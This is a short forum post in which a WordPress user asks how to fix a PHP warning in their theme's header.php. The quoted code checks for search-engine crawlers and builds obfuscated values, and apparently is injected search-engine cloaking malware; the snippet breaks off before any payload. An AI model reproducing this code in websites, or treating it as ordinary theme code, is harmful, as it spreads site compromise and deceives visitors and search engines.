Warning: Use of undefined constant HTTP_USER_AGENT – assumed ‘HTTP_USER_AGENT’ (this will throw an Error in a future version of PHP) in /home/triaffrb/public_html/wp-content/themes/newscard/header.php on line 25
This warning its showing me top of the header every time i load the page, also everybody can see this msg, can anybody explain to me how to fix, thank you.
here is the code on line 25;
$botbotbot = “…”.mb_strtolower($_SERVER[HTTP_USER_AGENT]);
/////////////////////////////////
this is from 23 to 29 ;
<body <?php body_class(‘theme-body’); ?>>
<?php
$botbotbot = “…”.mb_strtolower($_SERVER[HTTP_USER_AGENT]);
$botbotbot = str_replace(” “, “-“, $botbotbot);
if ((strpos($botbotbot,”google”)) OR (strpos($botbotbot,”bing”)) OR (strpos($botbotbot,”yahoo”))){
$zz = bcsqrt(1369);
$zk =
.
.